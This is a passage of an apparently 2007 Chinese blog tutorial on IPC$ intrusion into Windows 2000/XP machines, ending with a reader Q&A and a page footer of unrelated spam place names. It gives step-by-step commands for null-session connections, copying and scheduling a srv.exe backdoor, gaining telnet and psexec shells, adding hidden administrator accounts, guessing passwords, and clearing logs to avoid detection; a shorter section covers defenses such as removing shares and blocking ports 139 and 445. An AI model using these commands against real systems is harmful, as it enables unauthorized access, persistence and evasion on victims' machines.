          net?stop?服務名?

          6)在本地添加帳戶
          net?user?帳戶名?密碼?/add

          7)激活禁用的用戶
          net?uesr?帳戶名?/active:yes

          8)加入管理員組
          net?localgroup?administrators?帳戶名?/add?

          很顯然的是,雖然這些都是本地命令,但如果你在遠程主機的shell中輸入,比如你telnet成功后輸入上面這些命
          令,那么這些本地輸入將作用在遠程主機上。


          4?其他一些命令
          1)telnet?
          telnet?IP?端口
          telnet?127.0.0.0?23

          2)用opentelnet.exe開啟遠程主機的telnet
          OpenTelnet.exe?\\ip?管理員帳號?密碼?NTLM的認證方式?port
          OpenTelnet.exe?\\127.0.0.1?administrator?""?1?90
          不過這個小工具需要滿足四個要求:
          1)目標開啟了ipc$共享
          2)你要擁有管理員密碼和帳號
          3)目標開啟RemoteRegistry服務,用戶就可以更改ntlm認證
          4)對僅WIN2K/XP有效

          3)用p***ec.exe一步獲得shell,需要ipc管道支持
          p***ec.exe?\\IP?-u?管理員帳號?-p?密碼?cmd
          p***ec.exe?\\127.0.0.1?-u?administrator?-p?""?cmd


          十三?對比過去和現今的ipc$入侵
          既然是對比,那么我就先把過去的ipc$入侵步驟寫給大家,都是蠻經典的步驟:

          [1]
          C:\>net?use?\\127.0.0.1\ipc$?""?/user:admintitrators
          \\用掃到的空口令建立連接  ?

          [2]
          c:\>net?view?\\127.0.0.1
          \\查看遠程的共享資源

          [3]
          C:\>copy?srv.exe?\\127.0.0.1\admin$\system32?
          \\將一次性后門srv.exe復制到對方的系統文件夾下,前提是admin$開啟  

          [4]
          C:\>net?time?\\127.0.0.1?
          \\查看遠程主機的當前時間

          [5]
          C:\>at?\\127.0.0.1?時間?srv.exe?
          \\用at命令遠程運行srv.exe,需要對方開啟了'Task?Scheduler'服務  

          [6]
          C:\>net?time?\\127.0.0.1
          \\再次查看當前時間來估算srv.exe是否已經運行,此步可以省略

          [7]    
          C:\>telnet?127.0.0.1?99?
          \\開一個新窗口,用telnet遠程登陸到127.0.0.1從而獲得一個shell(不懂shell是什么意思?那你就把它想象成
          遠程機器的控制權就好了,操作像DOS),99端口是srv.exe開的一次性后門的端口  

          [8]
          C:\WINNT\system32>net?start?telnet
          \\我們在剛剛登陸上的shell中啟動遠程機器的telnet服務,畢竟srv.exe是一次性的后門,我們需要一個長久的
          后門便于以后訪問,如果對方的telnet已經啟動,此步可省略

          [9]
          C:\>copy?ntlm.exe?\\127.0.0.1\admin$\system32
          \\在原來那個窗口中將ntlm.exe傳過去,ntlm.exe是用來更改telnet身份驗證的  

          [10]
          C:\WINNT\system32>ntlm.exe?
          \\在shell窗口中運行ntlm.exe,以后你就可以暢通無阻的telnet這臺主機了
            
          [11]
          C:\>telnet?127.0.0.1?23
          \\在新窗口中telnet到127.0.0.1,端口23可省略,這樣我們又獲得一個長期的后門

          [12]
          C:\WINNT\system32>net?user?帳戶名?密碼?/add
          C:\WINNT\system32>net?uesr?guest?/active:yes
          C:\WINNT\system32>net?localgroup?administrators?帳戶名?/add
          \\telnet上以后,你可以建立新帳戶,激活guest,把任何帳戶加入管理員組等

          好了,寫到這里我似乎回到了2,3年前,那時的ipc$大家都是這么用的,不過隨著新工具的出現,上面提到的一
          些工具和命令現在已經不常用到了,那就讓我們看看現在的高效而簡單的ipc$入侵吧。

          [1]
          p***ec.exe?\\IP?-u?管理員帳號?-p?密碼?cmd?
          \\用這個工具我們可以一步到位的獲得shell

          OpenTelnet.exe?\\server?管理員帳號?密碼?NTLM的認證方式?port
          \\用它可以方便的更改telnet的驗證方式和端口,方便我們登陸

          [2]
          已經沒有第二步了,用一步獲得shell之后,你做什么都可以了,安后門可以用winshell,克隆就用ca吧,開終端
          用3389.vbe,記錄密碼用win2kpass,總之好的工具不少,隨你選了,我就不多說了。


          十四?如何防范ipc$入侵察看本地共享資源
          運行-cmd-輸入net?share
          刪除共享(每次輸入一個)
          net?share?ipc$?/delete
          net?share?admin$?/delete
          net?share?c$?/delete
          net?share?d$?/delete(如果有e,f,……可以繼續刪除)

          1?禁止空連接進行枚舉(此操作并不能阻止空連接的建立)

          運行regedit,找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把Res
          trictAnonymous?=?DWORD的鍵值改為:1
          如果設置為"1",一個匿名用戶仍然可以連接到IPC$共享,但無法通過這種連接得到列舉SAM帳號和共享信息的
          權限;在Windows?2000?中增加了"2",未取得匿名權的用戶將不能進行ipc$空連接。建議設置為1。如果上面
          所說的主鍵不存在,就新建一個再改鍵值。如果你覺得改注冊表麻煩,可以在本地安全設置中設置此項:?在本地
          安全設置-本地策略-安全選項-'對匿名連接的額外限制'


          2?禁止默認共享

          1)察看本地共享資源
          運行-cmd-輸入net?share

          2)刪除共享(重起后默認共享仍然存在)
          net?share?ipc$?/delete
          net?share?admin$?/delete
          net?share?c$?/delete
          net?share?d$?/delete(如果有e,f,……可以繼續刪除)

          3)停止server服務
          net?stop?server?/y?(重新啟動后server服務會重新開啟)

          4)禁止自動打開默認共享(此操作并不能關閉ipc$共享)?
          運行-regedit

          server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServ
          er\Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。?

          pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\
          Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。?
          這兩個鍵值在默認情況下在主機上是不存在的,需要自己手動添加,修改后重起機器使設置生效。


          3?關閉ipc$和默認共享依賴的服務:server服務
          如果你真的想關閉ipc$共享,那就禁止server服務吧:
          控制面板-管理工具-服務-找到server服務(右擊)-屬性-常規-啟動類型-選已禁用,這時可能會有提示說:XXX
          服務也會關閉是否繼續,因為還有些次要的服務要依賴于server服務,不要管它。?


          4?屏蔽139,445端口?
          由于沒有以上兩個端口的支持,是無法建立ipc$的,因此屏蔽139,445端口同樣可以阻止ipc$入侵。

          1)139端口可以通過禁止NBT來屏蔽
          本地連接-TCP/IT屬性-高級-WINS-選‘禁用TCP/IT上的NETBIOS’一項

          2)445端口可以通過修改注冊表來屏蔽
          添加一個鍵值
          Hive:?HKEY_LOCAL_MACHINE
          Key:?System\Controlset\Services\NetBT\Parameters
          Name:?SMBDeviceEnabled?
          Type:?REG_DWORD
          Value:?0
          修改完后重啟機器
          注意:如果屏蔽掉了以上兩個端口,你將無法用ipc$入侵別人。?

          3)安裝防火墻進行端口過濾


          6?設置復雜密碼,防止通過ipc$窮舉出密碼,我覺得這才是最好的辦法,增強安全意識,比不停的打補丁要安全
          的多。


          十五?ipc$入侵問答精選
          1.進行ipc$入侵的時候,會在服務器中留下記錄,有什么辦法可以不讓服務器發現嗎?

          答:留下記錄是一定的,你走后用清除日志程序刪除就可以了,或者用肉雞入侵。


          2.你看下面的情況是為什么,可以連接但不能復制
          net?use?\\***.***.***.***\ipc$?"密碼"?/user:"用戶名"
          命令成功
          copy?icmd.exe?\\***.***.***.***\admin$
          找不到網絡路徑
          命令不成功

          答:像“找不到網絡路徑”“找不到網絡名”之類的問題,大多是因為你想要復制到的共享文件夾沒有開啟,所以
          在復制的時候會出現錯誤,你可以試著找找其他的共享文件夾。


          3.如果對方開了IPC$,且能建立空聯接,但打開C、D盤時,都要求密碼,我知道是空連接沒有太多的權限,但沒
          別的辦法了嗎?

          答:建議先用流光或者別的什么掃描軟件試著猜解一下密碼,如果猜不出來,只能放棄,畢竟空連接的能力有限。


          4.我已經猜解到了管理員的密碼,且已經ipc$連接成功了,但net?view?\\ip發現它沒開默認共享,我該怎么辦?

          答:首先糾正你的一個錯誤,用net?view?\\ip是無法看到默認共享的,你可以試著將文件復制到c$,d$看看,
          如果都不行,說明他關閉了默認共享,那你就用opentelnet.exe或p***ec.exe吧,用法上面有。


          5.ipc$連接成功后,我用下面的命令建立了一個帳戶,卻發現這個帳戶在我自己的機器上,這是怎么回事?
          net?uset?ccbirds?/add

          答:ipc$建立成功只能說明你與遠程主機建立了通信隧道,并不意味你取得了一個shell,只有在獲得一個shell
          (比如telnet)之后,你才能在遠程機器建立一個帳戶,否則你的操作只是在本地進行。


          6.我已進入了一臺肉機,用的管理員帳號,可以看他的系統時間,但是復制程序到他的機子上卻不行,每次都提示
          “拒絕訪問,已復制0個文件”,是不是對方有什么服務沒開,我該怎么辦?

          答:一般來說“拒絕訪問”都是權限不夠的結果,可能是你用的帳戶有問題,還有一種可能,如果你想向普通共享
          文件夾復制文件卻返回這個錯誤,說明這個文件夾設置的允許訪問用戶中不包括你(哪怕你是管理員),這一點我
          在上一期文章中分析了。


          7.我用Win98能與對方建立ipc$連接嗎?

          答:理論上不可以,要進行ipc$的操作,建議用win2000,用其他操作系統會帶來許多不必要的麻煩。


          8.我用net?use?\\ip\ipc$?""?/user?""成功的建立了一個空會話,但用nbtstat?-A?IP?卻無法導出用戶列表,這
          是為什么?

          答:空會話在默認的情況下是可以導出用戶列表的,但如果管理員通過修改注冊表來禁止導出列表,就會出現你所
          說的情況;還有可能是你自己的NBT沒有打開,netstat命令是建立在NBT之上的。  


          9.我建立ipc$連接的時候返回如下信息:‘提供的憑據與已存在的憑據集沖突’,怎么回事?

          答:呵呵,這說明你已經與目標主機建立了ipc$連接,兩個主機間同時建立兩個ipc$連接是不允許的。


          10.我在映射的時候出現:
          F:\>net?use?h:?\\211.161.134.*\e$
          系統發生?85?錯誤。
          本地設備名已在使用中。這是怎么回事?

          答:你也太粗心了吧,這說明你有一個h盤了,映射到沒有的盤符吧!


          11.我建立了一個連接f:\>net?use?\\*.*.*.*\ipc$?"123"?/user:"guest"?成功了,但當我映射時出現了錯
          誤,向我要密碼,怎么回事?
          F:\>net?use?h:?\\*.*.*.*\c$
          密碼在?\\*.*.*.*\c$?無效。
          請鍵入?\\*.*.*.*\c$?的密碼:
          系統發生?5?錯誤。
          拒絕訪問。

          答:呵呵,向你要密碼說明你當前使用的用戶權限不夠,不能映射C$這個默認共享,想辦法提升權限或者找管理
          員的弱口令吧!默認共享一般是需要管理員權限的。


          12.我用superscan掃到了一個開了139端口的主機,但為什么不能空連接呢?

          答:你混淆了ipc$與139的關系,能進行ipc$連接的主機一定開了139或445端口,但開這兩個端口的主機可不
          一定能空連接,因為對方可以關閉ipc$共享.


          13.我門局域網里的機器大多都是xp,我用流光掃描到幾個administrator帳號口令是空,而且可以連接,但不能
          復制東西,說錯誤5。請問為什么?

          答:xp的安全性要高一些,在安全策略的默認設置中,對本地帳戶的網絡登錄進行身份驗證的時候,默認為來賓
          權限,即使你用管理員遠程登錄,也只具有來賓權限,因此你復制文件,當然是錯誤5:權限不夠。


          14.我用net?use?\\192.168.0.2\ipc$?"password"?/user:"administrator"?成功,可是?net?use?i:?\\1
          posted on 2007-01-01 17:08 MEYE 閱讀(2380) 評論(0)  編輯  收藏

          只有注冊用戶登錄后才能發表評論。


          網站導航:
           
          主站蜘蛛池模板: 芜湖市| 崇左市| 通海县| 巴塘县| 芜湖县| 治县。| 云林县| 高陵县| 方山县| 中超| 广安市| 吴堡县| 灵台县| 乳山市| 鱼台县| 大渡口区| 桑植县| 清原| 微山县| 八宿县| 萝北县| 色达县| 兰坪| 石狮市| 青川县| 前郭尔| 景东| 海安县| 福鼎市| 广东省| 湟中县| 临洮县| 仁怀市| 沙坪坝区| 二连浩特市| 西华县| 莱州市| 阿拉善盟| 大连市| 景洪市| 定陶县|